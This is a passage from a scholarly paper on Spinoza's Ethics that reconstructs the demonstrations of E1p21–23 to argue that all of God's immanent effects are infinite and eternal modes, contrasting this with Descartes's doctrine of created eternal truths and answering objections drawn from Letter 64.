the infinity of God’s effects—everything that is possible—are all always actual.69 God’s omnipotence is maintained ‘far more perfectly’ if God’s essence—and all that follows from God’s essence—are all always fully actual.70 If some of God’s effects were non-eternal and only existed for some limited time, then there would be times at which it is true that God has not (yet) created things that are in his power to create; this is so, even if it is necessary that God (eventually) cause those non-eternal effects. But if God’s effects are all real in the way eternal truths are real, then there is no such time at which this is true.71 One might complain that this is to misunderstand eternal truths. One might say that it follows from the nature of an eternal God that some thing x will come to be at some time and enjoy non-eternal reality for a period of time. It is always true that x is non-eternally, durationally actual; an infinite intellect always has an idea representing x as durationally actual, and this idea is true because x does, for a time, enjoy durational actuality. The truth-maker for an eternal truth need not exist as something eternal. I think Spinoza would resist this model, however, since it conflicts with his doctrine of parallelism.72 For the infinite intellect’s idea of x to be true, it must agree with its object [ideatum] (see E1a6 and E2p32). But a true idea of x (a representation of x, which is x as objectively real) and x (the formally real ideatum) are one and the same thing considered in different ways (see E2p7c and E2p7d). If there is no formally real ideatum, then there is no true idea. So if x is not always formally real, then it seems there cannot always be a true idea of it. If the ideatum x has eternal formal reality, however, then it will always be the case that an (adequate) idea of x is true. And there will always be a true idea of x in the infinite intellect.73 To take stock, Descartes held that many necessary truths are not necessarily attached to God’s necessarily existing nature and are, along with contingent truths, products of God’s perfectly free creative activity. Spinoza argues that all of God’s effects are necessarily attached to God’s necessarily existing nature—and thus freely caused by God. We can understand this argument as part of a criticism of the Creation Doctrine. Read in this context, I have suggested that perhaps Spinoza did not just mean for us to recognize the necessity of all the effects necessarily attached to God’s nature—he also wanted us to recognize that what is necessarily attached to God’s nature is also eternally formally real. Notice that the next few propositions do put us in a position to see that all of God’s effects are necessary as well as eternal. God is the immanent cause of all things (E1p18). If ‘God is eternal, or all of God’s attributes are eternal’ (E1p19), and attributes are ‘what the intellect perceives of a substance, as constituting its essence’ (E1def4), and God’s existence and essence are ‘one and the same’ (E1p20, E1p20c2), then we can see that God’s essence is necessarily eternally formally real. All the things necessarily following from the divine essence (E1p16) are modes in and immanently caused by the free causal activity of God (E1p15, E1p17, E1p18). As modes of a necessarily eternally formally real substance, God’s effects are not only necessary, but also enjoy eternal formal reality; each mode is a way that eternal formal reality is. In the next section, I argue that the point of propositions E1p21–23 is to establish the conclusion that all of an eternal, necessarily existing God’s effects are eternal and necessary modes of God.74 But Spinoza also draws further conclusions regarding the ontology of God’s eternal and necessary effects (and thus fleshes out an answer to Question 4). Not only are all of God’s effects eternal, necessary modes of God (and so are not in some created Platonic realm separate from God, as Descartes sometimes seems to suggest); each and every one of God’s effects is infinite (where this infinite reality is not indefinite). Indeed, an infinite and eternal God cannot cause anything non-eternal and finite. If this is so, then God’s eternal and necessary effects cannot (as Descartes sometimes seems to suggest) reside as innate ideas in finite, non-eternal minds—for the simple reason that an infinite and eternal God cannot cause finite, non-eternal minds.75 At the end of Section IV, I briefly point out how a new reading of E1p21-23 might clarify some of Spinoza’s perplexing claims in Part V of the Ethics. To begin, here is E1p21 and the beginning of its famously baroque demonstration: 1p21: All the things which follow from the absolute nature of any of God’s attributes have always had to exist and be infinite, that is, are, through the same attribute, infinite and eternal. If you deny [that all things following from the absolute nature of any of God’s attributes are infinite and eternal], then conceive (if you can) that in some attribute of God there follows from its absolute nature something that is finite and has a determinate existence, that is, [determinate] duration, for example, an idea of God in thought. At the beginning of the demonstration, we are asked to conceive that from the eternal attribute of thought there follows an idea that is 1) finite and 2) ‘has a determinate existence, that is, duration, for example, an idea of God in thought’ (idea Dei in cogitatione). I propose that the ‘idea Dei in cogitatione’ assumed for reductio in E1p21d is the idea representing the true and immutable nature of God (under some attribute) in a finite, non-eternal thinking mind.76 Note that this would have been a natural example for Spinoza to put forward: read this way, the idea assumed for reductio is an idea very much like that which plays a crucial role in Descartes’s Meditations. In the Third Meditation, the Meditator uses his idea of God to prove God’s existence: the idea of God has infinite objective reality, and such infinite objective reality could only have been caused by a being with infinite formal reality—that is, God, an infinite, eternal, necessarily existing being (AT VII.47). Once the Meditator proves that God exists, the Meditator proves, from reflection on his own mind’s limited formal reality, that God must be the creator and sustainer of that limited formal reality (AT VII.48–50). The Meditator realizes that the idea of God—an idea of what Descartes says elsewhere is the ‘most eternal’ of eternal truths (AT I.150)—is innate, and remarks that it is ‘no surprise that God, in creating me, should have placed this idea in me to be, as it were, the mark of the craftsman stamped on his work’ (AT VII.51). So, according to Descartes, God, who enjoys infinite, eternal formal reality, causes something infinite and eternal: an eternal truth with infinite objective reality. Yet Descartes’s God also causes something finite and non-eternal: the finite, non-eternal formal reality of the Meditator’s mind, in which there is a finite, non-eternal formally real idea that represents God. Spinoza clearly thinks Descartes is wrong to believe God is transcendent (since God’s effects are modes of God). In this section, I suggest that Spinoza also thinks Descartes is wrong to believe that an infinite, eternal God causes anything with finite and non-eternal formal reality. Spinoza argues that if we cognize God properly, as the one and only substance, we will see that all of God’s effects are infinite and eternal modes. So Descartes’s contention that the Meditator’s finite formally real mind is caused by God must be rejected. Spinoza can also rule out the possibility, mentioned in Section II.4 above, that eternal truths caused by God reside solely in the finite and non-eternal minds caused by God, since such finite and non-eternal minds cannot be caused by an infinite and eternal God. At the end of the section, I explain why the possibility, also mentioned in II.4, that true and immutable natures and eternal truths reside solely as objectively real contents in a divine mind is also untenable, as well as why Spinoza might have said that ‘E1p21 and other things’ enable us to see that our mind ‘insofar as it understands, is an eternal mode of thinking’ (E5p40s). E1p21d is broken into two main parts: the first part is supposed to establish that whatever ‘follows from the necessity of the absolute nature of an attribute itself must be infinite’; the second part is supposed to establish that what follows must be eternal. I take up each in turn. …what follows must be infinite After asking us to conceive of the finite idea Dei, the demonstration continues: [1.a] Now since thought is supposed to be an attribute of God, it is necessarily (by E1p11) infinite by its nature. But insofar as it is the idea of God, [thought] is supposed to be finite. Spinoza reiterates that thought, as an attribute of God, is infinite by nature. Being infinite is ‘an absolute affirmation of the existence of some nature’ (E1p8s1); thinking substance is infinite reality, or existence itself (E1p7, E1d8), conceived as thinking. Importantly, it does not make sense to conceive of thinking substance’s reality being diminished, nor does it make sense to conceive of thinking substance’s reality as admitting of augmentation or amplification. To do so would require thinking of substance’s reality in terms of units, but this would make substance posterior in nature to the constituent units and would render the infinity of substance mere indefinite infinity. Finite reality, in contrast, is that which can be limited by something of the same nature (E1d2), and it does make sense to think of such reality in terms of units: we can think that some existing finite thing would enjoy more or less reality if other things were there (or not there). [1.b] But (by E1d2) [thought] cannot be conceived to be finite unless it is determined through thought itself. We have assumed for reductio that there is a finite formally real idea of God. As Spinoza reminds us in [1.b], to be conceived as finite, its reality must be limited or determined by something that is also thought (E1d2). In this demonstration, we are supposing that the only things that exist or are formally real are the infinite thinking substance and the finite idea of God.77 These are the only things available to do any limiting, so in order for the finite idea of God to be conceived as finite, it must be limited either by itself or by thinking substance. [1.c] But [thought can] not [be determined] through thought itself, insofar as it constitutes the idea of God (for to that extent [thought] is supposed to be finite). Therefore, [thought must be determined] through thought insofar as it does not constitute the idea of God, which nevertheless (by E1p11) must necessarily exist. ‘Thought itself, insofar as it constitutes the idea of God’ can be taken to be thinking substance only insofar as it is the idea of God, the mode we are assuming enjoys finite formal reality. So understood, ‘thought itself, insofar as it constitutes the idea of God’ cannot determine the idea of God for a simple reason: the finite mode cannot determine itself to be finite.78 So it must be determined by something else, or ‘through thought insofar as it does not constitute the idea of God’: [1.d] Therefore, there is thought which does not constitute the idea of God, and on that account the idea of God does not follow necessarily from the nature [of thought] insofar as it is absolute thought (for [thought] is conceived as constituting the idea of God and as not constituting it). This is contrary to the hypothesis. So if the idea of God in thought, or anything else in any attribute of God (for it does not matter what example is taken, since the demonstration is universal), follows from the necessity of the absolute nature of the attribute itself, it must necessarily be infinite. This was the first thing to be proven. Here is one reconstruction of Spinoza’s reasoning in [1.c] and [1.d].79 The entity that limits the finite idea of God must 1) not be the finite idea of God itself (because the idea cannot limit itself), 2) be understood under the attribute of thought (from E1d2), and 3) be finite (since, in limiting the idea of God, it will also be limited by the idea of God, and so is finite, by E1d2). Since we are assuming that the finite idea follows from thinking substance alone (without the assumption of any other modes), the only candidate entity that could do any limiting would be thinking substance (since again, the finite idea cannot limit itself). But if thinking substance limits the finite idea, then thinking substance would have to be finite, which is absurd. So something that is finite cannot follow from the absolute nature of a divine attribute; what follows must be infinite.80 So reconstructed, this demonstration generalizes to other attributes. The demonstration does not hinge on anything particular to the attribute of thought, but just requires that we consider the idea of God as a finite, formally real mode of substance considered under an attribute. However, this reconstruction does not clearly explain why Spinoza adds that the thought that does not constitute the idea of God nevertheless ‘must necessarily exist’ (by E1p11) at the end of [1.c]. This, somewhat perplexingly, is a common oversight, so common that I have not yet found a reconstruction of E1p21d that explains why Spinoza brings in E1p11 here.81 Another potential difficulty with this reconstruction is that the absurdity is that substance is both finite and infinite; it is not clear how this maps onto Spinoza’s claim that thought is conceived both ‘constituting’ and ‘not constituting’ the idea of God. But perhaps we can accommodate this language in the following way: thought is conceived as constituting the idea of God when we conceive of the finite idea of God, and conceived as not constituting it when we conceive of what must be posited to limit that idea so that it is finite. However, this is not, in itself, absurd. It is only absurd if we supplement this claim with the claims that only what is finite can do the limiting, that the only potential limiter of the finite idea is substance, and that that substance is necessarily infinite. The text, however, suggests the argument to absurdity is more direct: the assumption leads us to conceive of (the same) thought both as constituting and not constituting the idea of God. I would like to propose an alternative reconstruction, one that generalizes to other attributes, incorporates E1p11, and gets to the absurdity directly. Return to this portion of the demonstration: [1.c.i] But [thought can] not [be determined] through thought itself, insofar as [quatenus] it constitutes the idea of God (for to that extent [thought] is supposed to be finite). Above we interpreted ‘thought itself, insofar as it constitutes the idea of God’ to be the assumed finite formally real idea of God: the ‘insofar as’ was supposed to focus our attention on the mode of substance. But a mode cannot limit itself, so must be limited by something else. The reconstruction above emphasizes that this limiting thing must also be finite; absurdity results because substance, which is infinite, cannot play that role. Yet it is also possible to read ‘thought itself, insofar as it constitutes the idea of God’ not as the finite formally real idea of God, but rather as the substance on whose formal reality the mode depends for its formal reality. On this reading, thinking substance constitutes, in the sense of makes or causes, the mode; the ‘insofar as’ focuses attention on thought as the immanent cause of its own mode. While it is true that a finite thing cannot limit itself, that is not the reason we must appeal to something else. The problem, rather, is that to say that thought is determined through the thinking substance insofar as it constitutes, or causes, the finite mode is just to restate what we have already supposed for reductio. [1.c.ii] Therefore, [thought must be determined] through thought insofar as it does not constitute the idea of God, which nevertheless (by E1p11) must necessarily exist. Again, thought can only be limited by thought (by E1d2), so the assumed idea of God must be limited by something that is also thought. We have already ruled out the possibilities a) that the idea of God limits itself and b) that what does the limiting is the thinking substance on which the idea of God depends for its formal reality (‘thought itself, insofar as it constitutes the idea of God’).82 So what is doing the limiting must be thought that is external to both the assumed finite mode and the substance that constitutes that mode. However, this is just to posit another thinking substance: thought that ‘nevertheless (by E1p11) must necessarily exist.’ There is just one infinite, necessarily existing thinking substance.83 So the one thinking substance is conceived both ‘as constituting the idea of God and as not constituting it.’ This is absurd, and so we can assert the contrary of our hypothesis. Only a non-finite idea, a thing whose formal reality does not require positing an external limiter, can follow from thinking substance; such a non-finite idea is, of course, just an infinite idea. So reconstructed, the demonstration incorporates the mention of E1p11 in [1.c.ii] and gets to the absurdity directly. It also generalizes to other attributes: we could run the demonstration with a finite body, but we would again be forced to posit more than one formally real substance (this time under the attribute of extension). …what follows must be eternal I will quote the second stage of the demonstration in full: [2.a] Next, what follows in this way from the necessity of the nature of any attribute cannot have a determinate [NS: existence, or] duration. For if you deny this, then suppose there is, in some attribute of God, a thing which follows from the necessity of the nature of that attribute—for example, idea Dei in cogitatione—and suppose that at some time [this idea] did not exist or will not exist. [2.b] But since thought is supposed to be an attribute of God, it must exist necessarily and be immutable (by E1p11 and E1p20c2). [2.c] So beyond the limits of the duration of the idea of God (for it is supposed that at some time [this idea] did not exist or will not exist) thought will have to exist without the idea of God. [2.d] But this is contrary to the hypothesis, for it is supposed that the idea of God follows necessarily from the given thought. Therefore, the idea of God in thought, or anything else which follows necessarily from the absolute nature of some attribute of God, cannot have a determinate duration, but through the same attribute is eternal. This was the second thing [NS: to be proven]. Note that the same is to be affirmed of any thing which, in some attribute of God, follows necessarily from God’s absolute nature. Spinoza reintroduces the reductio assumption: namely, that the idea of God exists for some limited time [2.a]. Spinoza reminds us that the attribute of thought exists necessarily (E1p11) and is immutable (E1p20c2) [2.b]. The situation we are assuming, then, is one in which we have a necessarily existing, immutable substance and a mode that only endures for some time. This means that there are times at which the mode does not exist [2.c]. However, this leads to absurdity. Spinoza does not make his reasoning explicit, but I think we are supposed to remember E1p20c2’s point that it is absurd to suppose that the essence of substance could change. Spinoza reminds us that it is supposed that the mode follows with necessity from the necessarily existing essence of thinking substance [2.d]. For the mode to not follow, which is the case at all of those times at which the mode does not exist, we would have to suppose that the essence of substance is different at those times. We can thus deny our assumption: the idea of God cannot exist for some limited time. Its existence is necessary (in virtue of substance’s essence being necessary), and thus eternal.84 This will apply to anything following with necessity from the absolute nature of God. It is sometimes argued that this second stage establishes the everlastingness of (certain) modes.85 While this is a possible reading of the language of E1p21—’all the things which follow from the absolute nature of any of God’s attributes always had to exist’ (semper existere debuerunt)—I do not think this language forces us to conclude that the things enjoy sempiternal reality, rather than reality that is timelessly eternal. In E1p19, Spinoza said that God’s ‘existence, like his essence, is an eternal truth.’ In E1p17s, Spinoza had drawn a parallel between the infinity of things following from the divine nature and what follows from the essence of a triangle. Such a geometric essence is a paradigm case of a true and immutable nature, an eternal truth.86 In this context, it is reasonable to suppose that Spinoza is arguing that the propria following from the divine essence (whether that essence, or attribute, is extension, thought, or some other attribute), like the propria following from the true and immutable nature of a triangle, also enjoy the reality of eternal truths or true and immutable natures. From the perspective of someone reasoning in time, the true and immutable nature of a triangle always exists, even if the nature’s eternal reality is not reality that can properly be said to be enduring. Perhaps in saying that the things which follow from the absolute nature of God’s attributes always had to exist, Spinoza is just making a similar point. If a substantial essence (attribute) is eternally real, then, from the perspective of someone reasoning in time, that essence, as well as all of that essence’s propria, always exists, but this does not mean that it is apt to say that the eternally real entities themselves endure over time. One might protest that making the effects timelessly eternal makes modes too much like substance, and that this is reason enough to suppose that the effects under discussion in E1p21 are sempiternal. But had Spinoza wanted to signal that God’s nature is the only nature that is timelessly eternal, we should expect him to announce this.87 Furthermore, even if both substance and modes enjoy the timelessly eternal reality of eternal truths, this does not mean that we cannot identify a key difference between them. In E1p24, Spinoza points to just such a difference: unlike God’s own essence, the ‘essence of things produced by God does not involve existence’ (E1p24).88 There is, just as we expect from modes, ontological dependence: modes have the reality they because they inhere in their immanent cause, the eternal substance.89 Before I turn to E1p22, I want to point to one upshot of the reconstruction of E1p21d I have provided. On most reconstructions of E1p21d, Spinoza employs the same strategy for reductio twice: that is, in order for the idea Dei to be limited either in reality (i.e., be finite) or be limited in duration (i.e., be non-eternal), we must already assume that there is already some limited (and limiting) thing; but in that case, what follows does not follow from the absolute nature of substance, because it does not follow from substance alone, and that is contrary to hypothesis. So interpreted, it seems Spinoza has been confusingly prolix. The demonstration can be streamlined without distortion. On my view, the demonstration cannot be condensed because the strategy in each stage’s reductio is different. In the first stage, the absurd consequence is that the same thing—substance—is both P (constituting the idea of God) and not-P (not constituting it). In the second stage, the absurdity is that we must posit a change in a necessarily existing essence (viz., substance’s). If this is how the demonstration goes, then, although we might complain that Spinoza could have made his reasoning more perspicuous, we cannot complain that he has repeated himself unnecessarily. E1p22 is an extension of E1p21: E1p22: Whatever follows from some attribute of God insofar as it is modified by a modification which, through the same attribute, exists necessarily and is infinite, must also exist necessarily and be infinite. E1p22’s demonstration is short: it ‘proceeds in the same way as the demonstration of the preceding one [E1p21d].’ This demonstration does not usually get attention, but I will propose a reconstruction of it here. Like E1p21d, it proceeds in two stages. For the first stage, assume that something finite, N, follows from an infinite mode M. Again, the reality of finite things is such that it is limited and limiting (E1d2). Infinite, or non-finite, reality is different: it cannot do any limiting or be limited. The infinite mode M cannot limit N, ensuring its finitude, unless M is itself finite. So if N does follow from the infinite mode M, M is finite. As was the case in the first stage of E1p21d, the absurdity is that the same thing (M) is both P (infinite) and not-P (finite). For the second stage, note that Spinoza equates eternal existence and necessary existence (E1d8).90 For reductio, assume that a non-necessary non-eternal thing K follows from a necessary, eternal mode J. There are times at which K does not exist. However, J exists necessarily and is eternal; that is, J is immutable. But J cannot cause K to be or not to be unless J itself exists in one way at one time and then in another way at another time. There cannot be a change in what follows from J’s essence unless there is a change in J’s essence. But J’s essence exists necessarily and is eternal, and so is immutable. In order for J’s essence to be different, God’s essence (whence J follows) must be different. But this is absurd, and is the same absurdity seen in the second stage of E1p21d. From E1p21 and E1p22, we can conclude that what is non-eternal and non-infinite cannot follow from what is infinite and eternal; all the things following either immediately or mediately from the infinite and eternal essence of God—that is, each and every one of the infinity of things following from the divine nature (E1p16)—are infinite and eternal. The infinity of things may differ in their essences, as the essence of a triangle differs from the essence of a circle, but their eternal reality is, as what is non-finite, such that it cannot limit or be limited by anything else.91Sub specie aeternitatis, everything following from the divine nature is on ontological par: any essence, conceived to be eternally real, ‘contained in God and to follow from the necessity of the divine nature’ (E5p29s), is as eternally real as any other.92 Before turning to E1p23, I want to briefly point out that on my reconstruction, E1p21–22 can be taken to target a claim Descartes makes about the idea of reality that is finite and limited (either in time or in space). For Descartes, the idea of the infinite—that is, God’s infinite reality—is not generated by starting with the idea of our own finite reality and then just removing limits on that reality: that only gives us the indefinite. Instead, the idea of the infinite is prior to the idea of the finite or limited.93 Descartes sometimes suggests that the idea of the finite is the idea of a limitation, or negation, of this prior idea of the infinite: I say that the notion I have of the infinite is in me before that of the finite because, by the mere fact that I conceive being, or that which is, without thinking whether it is finite or infinite, what I conceive is infinite being; but in order to conceive a finite being, I have to take away something from this general notion of being, which must accordingly be there first. (Letter to Clerselier, 23 April 1649, AT V.356) As I have read E1p21–22, Spinoza would say that we need to be more careful. Spinoza agrees with Descartes on the general point that the idea of the infinite is the idea of the reality that must be presupposed whenever we consider the reality of any of God’s effects, but he will insist that the reality of these posterior effects is also infinite and eternal reality—as he will point out later, each mode has its infinite and eternal reality in virtue of its cause (substance), not in virtue of its own essence.94 For Spinoza, to think that substance’s reality could admit of limits is to misapprehend substance’s reality; properly understood, that reality cannot be understood as limiting or limited. A finite, non-eternal thing cannot be understood as substance’s reality with limits imposed, or something ‘taken away.’95 Where E1p21 and E1p22 can be read as a priori arguments—given what the cause is like, we know what its effects must be like—E1p23 can be read as an a posteriori argument. That is, given an effect, we know what the cause must be like: E1p23: Every mode which exists necessarily and is infinite has necessarily had to follow either from the absolute nature of some attribute of God, or from some attribute, modified by a modification which exists necessarily and is infinite [and eternal]. The reasoning of the demonstration appears to be this. Whatever is, is a mode inhering in God, the one and only substance, and nothing can be or be conceived without God (E1d5, E1p15). If something is conceived to enjoy infinite and necessary [i.e., eternal, by E1d8] formal reality or existence, it is an infinite and necessary [eternal] mode of a substance. A mode is a way its substance is modified, so this mode conceived to have infinite and necessary [eternal] reality is a mode inhering in the infinite and necessary [eternal] substance; the mode is a way eternal formal reality, or ‘existence itself’ (understood under an attribute) is modified (E1d6, E1p19). We know from E1p21 and E1p22 that whether a thing follows immediately or mediately from the divine nature, it will enjoy infinite, eternal reality; all the things following from the divine nature are infinite and eternal. So if we have an infinite and eternal mode, we know that it either followed immediately or mediately from the divine nature. According to my reconstruction of E1p21d, the idea assumed for reductio is the kind of idea Dei that would have been familiar to Cartesian readers: it is the idea of God at the center of Descartes’s Meditations, the idea a finite, limited human mind has of the true and immutable nature of God.96 From reflection on this idea, Descartes’s Meditator proves the existence of God, which in turn enables the Meditator to secure other important conclusions, including that God is the creator and sustainer of his being and that all his clear and distinct ideas are true. Spinoza agrees with Descartes that human minds have an idea of the ‘most eternal’ of eternal truths: ‘the human mind has an adequate cognition of God’s infinite and eternal essence’ (E2p47). Of course, Spinoza disagrees with Descartes on the nature of God and God’s relation to creation. To draw out the implications of reading E1p21–23 as I have, it helps to consider what careful reflection on the Spinozan idea Dei secures. If one has an adequate idea of God’s infinite and eternal essence, one understands that God is the one and only infinite, eternal, immutable, necessarily existing substance in which everything else inheres as modes and which can be conceived through different attributes (E1p1–15, E1p19–20). One sees that divine causation does not involve a will that is free by being perfectly indifferent, since the essences of all things simply follow with necessity from the divine essence (E1p16–17). One sees that God’s effects are not modally diverse: all of God’s effects are necessary. Furthermore, given what God’s formal reality is (infinite and eternal), one sees that the formal reality of all of God’s effects must enjoy reality that cannot be understood as either limiting or being limited (E1p21–22). While some essences following from the divine nature (as in E1p16) presuppose other essences, as eternal truths presuppose other eternal truths,97 all of these essences enjoy infinite and eternal reality, albeit only because God causes them to have that reality (E1p24). Furthermore, there cannot be some other cause, besides God, of some necessary, eternal, infinite thing: any such thing is a mode caused by and inhering in the one and only infinite and eternal substance, God (E1p23). One sees that an infinite and eternal God’s effects are not ontologically diverse. One sees that God is the cause of the essence of things (E1p25; see E1p16), and, since all essences follow with necessity from God’s necessarily existing nature, in causing himself to have eternal, infinite reality, God immanently causes all things to have eternal, infinite reality as modes. One perceives, then, that God is the cause of all things ‘in the same sense in which he is called the cause of himself’ (eo sensu, quo Deus dicitur causa sui, etiam omnium rerum causa dicendus est, E1p25s, my emphasis). By Spinoza’s lights, Descartes’s Meditator got it wrong: had the Meditator had the right conception of God, then reflection on his idea Dei would have revealed that his own mind is causally sustained as a mode of God enjoying infinite and eternal formal reality (considered under the attribute of thought), not as a finite formally real thinking thing created and conserved over time and existing apart from God. Once the Meditator understands that (a Spinozan) God must exist, he can see that all of God’s effects are infinite and eternal modes of God.98 There is more that the Meditator can grasp. If the Meditator sees that there is no true and immutable nature that is not in, conceived through, and caused by God (E1p23), then he will see that an idea of any true and immutable nature is an idea of an infinite and eternal mode of God. Since cognition of an effect depends on and involves cognition of its cause (E1a4), he will see that an idea of any true and immutable nature is a cognition of God; all of God’s effects are, in this sense, eternal and necessary ideas about God.99 Importantly, with the right Spinozan idea of God, the Meditator will also see that the true and immutable nature of some body (e.g., of a circle), considered as an objectively real content of an adequate idea, and that true and immutable nature, as something formally real, are one and the same thing considered under different attributes (E2p7). Furthermore, he understands that the objectively real content of his idea and his idea, considered as a formally real idea, are one and the same thing considered under the attribute of thought (E2p20–21). So, if he is able to adequately represent a true and immutable nature, like that of a circle, that means that what is doing the representing—his formally real idea—is also a true and immutable nature.100 The Meditator will realize, that is, that his having an idea of a true and immutable nature—an idea of any eternal, infinite mode—indicates his mind, insofar as it has this idea, is a mode of God with infinite, eternal formal reality. The Meditator thus recognizes that his experiences of contemplating true and immutable natures and eternal truths are experiences of his own status as an eternally real thing: he ‘feel[s] and know[s] by experience’ that he is eternal; ‘for the mind feels those things that it conceives in understanding no less than those it has in the memory’ (E5p23s). He comprehends that ‘insofar as [his mind] understands,’ or has adequate ideas of properties of things, eternal truths, or true and immutable natures, his mind ‘is an eternal mode of thinking’ (E5p40s). He realizes his understanding mind is part of the infinite intellect of God, which is all of the essences following from the divine essence (E1p16), conceived as infinite and eternal modes under the attribute of thought, or natura naturata (E1p29, E2p11c, E2p43s, E5p40s).101 Perhaps the Meditator had thought that true and immutable natures and eternal truths created by God were merely objectively real in the divine mind.102 Now he can see that such a view is mistaken. These effects are not merely objectively real contents in God’s infinite intellect, since they are also formally real. And these effects are not merely in God’s infinite intellect, if that intellect is understood to be ontologically distinct from human minds: the adequate idea of a true and immutable nature or eternal truth in a human mind is the adequate idea of that true and immutable nature or eternal truth in God’s infinite intellect.103 Most commentators hold that Spinoza’s infinite and eternal God immanently causes two kinds of modes, some of which are infinite and eternal (or perhaps indefinite and sempiternal) and others of which are finite and non-eternal.104 I have suggested that Spinoza has argued for a very different conclusion: if we conceive of the one and only substance as a cause with infinite and eternal reality, then we must conceive of all of substance’s modes as infinite (not merely indefinite) and eternal (and not sempiternal). Substance, properly conceived, cannot be the immanent cause of formal reality that can be coherently thought of as consisting of parts or as limiting or being limited. So the infinite and eternal substance does not immanently cause the familiar world of enduring, striving bodies that are of variable sizes, divisible into parts, and capable of being imagined as larger or smaller than they in fact are. It also does not immanently cause the individual comprised of all such bodies taken together, or the whole of nature as an individual (E2lemma7s). This individual’s reality can be understood in terms of limits: its reality is characterized as that which does not admit of a stable limit or bound, since any is surpassed. On the one hand, my interpretation has the benefit of bringing Spinoza’s mode-substance relation closer to a more workaday, familiar notion of mode and substance. That is, the reality of a mode is simply a way that the reality of substance is: as each wave in water is water, so each mode of an infinite and eternal substance is infinite and eternal. On the prevailing view in Spinoza scholarship, according to which at least some modes’ reality is not just substance’s infinite and eternal reality modified, it is hard to see how to retain the workaday notion without changing one’s conception of substance’s reality. For example, take a view according to which there are ‘infinite modes’ of an eternal and infinite substance that are sempiternal and indefinite. If we retain the workaday notion of mode, these modes are not ways that substance’s eternal, infinite reality is modified, but rather ways sempiternal, indefinite reality is modified. In order to conceive of such modes as just ways that substance’s reality is modified, it seems we must reconceive substance either as sempiternal or as just that which exists. I do not think either option is tenable. Spinoza emphasizes that substance’s existence is indivisible and cannot be explicated in terms of duration or time (E1d8exp., E1p15s). This suggests that substance’s reality is not to be understood as sempiternal, since such reality can be explicated in terms of duration and temporal units—everlasting reality is reality that endures, but is never limited in its duration (and so its duration does not admit of a final determinate temporal measure). I think it also indicates that substance’s reality is not just that which exists (so that if something exists, regardless of the character of the formal reality it enjoys as an existing thing, it is a mode of substance). On the other hand, however, my proposal that all of God’s immanent effects are infinite and eternal modes appears to face two major objections. A first objection is that my interpretation is incompatible with what Spinoza writes to Schuller in his 1675 letter (Ep. 64). Schuller asked for some examples of the entities Spinoza discusses in E1p21 and E1p22, and Spinoza replies, … the examples for which you ask are of the first kind [the kind discussed in E1p21] in Thought, absolutely infinite intellect; in Extension however motion and rest; of the second kind [discussed in E1p22], the face of the whole Universe [facies totius Universi], which although varying in infinite ways, remains however always the same, on which see scholium of lemma 7 … (G IV.278; cf. KV I.ix.2–3, G I.48) This is obscure, and Spinoza does not offer further clarification beyond the reference to the ‘Physical Digression,’ the short treatise on body and motion in Part II of the Ethics. This letter is often cited to defend a view of the infinite modes according to which they are laws of nature; this is suggested by ‘motion and rest.’ More generally, it is cited in support of the view that the infinite modes are just a subclass of God’s modes. If Spinoza had wanted to say that all modes are, in fact, infinite modes, he would have just said so here. However, I do not think the examples are incompatible with what I’ve suggested above. The essence of any body is a ratio of motion and rest (E2lemma5). Now, to understand a ratio of motion and rest, one need not conceive of anything determined to be what it is by anything actually in motion. However, to understand any ratio of motion and rest, one does need to conceive of extension as that which can always be conceived in terms of “motion and rest,” regardless of what the specific terms might be. This, I take it, is a basic eternal truth concerning the nature of extension, or what follows “from the absolute nature” of extension (E1p21).105 The scholium of lemma 7 makes the point that there is an unchanging—that is, immutable—ratio of the infinity of individual bodies’ ratios of motion and rest. In other words, there is a true and immutable nature of the system of all things, of all the essences following from the divine nature (E1p16). Granted, Spinoza does not say that any particular ratio is also a true and immutable nature enjoying eternal and infinite reality as a mode of substance, but I do not think what he does say is incompatible with this being so. I also do not think what Spinoza says about thought in Letter 64 is incompatible with my interpretation. The ‘absolutely’ in ‘absolutely infinite intellect’ is, I think, just a way of signaling that this ‘intellect’ is the most basic eternal truth about thought, or the most basic property of substance considered under the attribute of thought: whatever else characterizes ideas, they are representations. Here, in using the word ‘intellect,’ Spinoza also means to signal the truth of whatever this intellect represents. So truly representing is prior in nature to any particular true idea; it is a way that thinking reality must be in order for there to be any particular true ideas at all. The (true and immutable) nature of thinking reality is such that it can always be conceived in terms of true representations. As Spinoza explains in the first half of Ethics Part II, true ideas represent properties of bodies—and some true ideas represent the essences of bodies, or ratios of motion and rest. A longstanding puzzle in Spinoza interpretation is why Spinoza does not list a ‘mediate infinite mode’ for the attribute of thought.106 Here is a suggestion: Spinoza did not think he needed to because he was confident Schuller would see the parallel. What corresponds to the ‘face of the whole universe’—the ratio of all ratios—is the true representation of that true and immutable nature. It is the ratio considered not as enjoying the formal reality of bodies, but as enjoying the objective reality of objects of thought.107 Again, nothing Spinoza says here is obviously incompatible with my proposal that all the modes immanently caused by God are eternal, infinite modes. As I mentioned in Section I, other scholars, seeing that E1p21–23 commits Spinoza to the view that God’s effects are infinite, have invoked one or more ‘infinite modes’ to explain God’s causation of the limited, actual things described in E1p28. Perhaps God causes finite things by causing infinite modes that are pervasive features of the enduring world required for any finite thing to come into being. Or perhaps God causes finite things by causing the infinite mode that is the sempiternal individual that is the entire transitive causal nexus of finite things considered as a whole. According to my reading, these strategies for making sense of Spinoza’s system cannot work: the reality of such pervasive features, or the sempiternal individual, is not the kind of unlimited, infinite, eternal reality that God, properly conceived as the one Spinozan substance, causes. Much of the Ethics—arguably much of Part II and most of Parts III and IV—concerns what is manifestly not eternal or infinite: things that are affected—even destroyed—by other things. One could complain that my reading renders Spinoza’s system inconsistent. All there is is the one substance and its modes; if all modes are infinite and eternal, then everything that is actual, or real, in the way familiar non-eternal and finite things are actual, does not have a place in the system. God is the cause of all things, but if each and every one of God’s effects is real as an infinite and eternal mode, then God does not cause the reality of ordinary things—the actual, always-in-some-respect limited (and limiting) reality in which we and other actual things strive to endure (E3p6–7). I do not think my reading renders Spinoza’s system inconsistent, but I do think we need to reexamine the fundamental structure of that system.108 Spinoza holds that in order for causation to be intelligible, it must be within an attribute. This is a causal-explanatory ‘barrier’ between attributes.109 I do not think this is the only such barrier in the system: 1) an infinite and eternal God’s immanent causation of infinite and eternal modes and 2) transitive causation of things with ‘finite and determinate existence’ (E1p28) are similarly sequestered, even when the causal relata are considered under the same attribute. Properly conceived under any of its attributes, substance enjoys infinite, eternal formal reality, and can only be coherently cognized as immanently causing effects that also enjoy infinite, eternal formal reality; what enjoys infinite, eternal formal reality can only be coherently cognized as immanently caused by substance. These are conclusions I understand to be established in E1p21–23. Finite and non-eternal things can only be coherently cognized as transitively causing (and caused by) finite and non-eternal 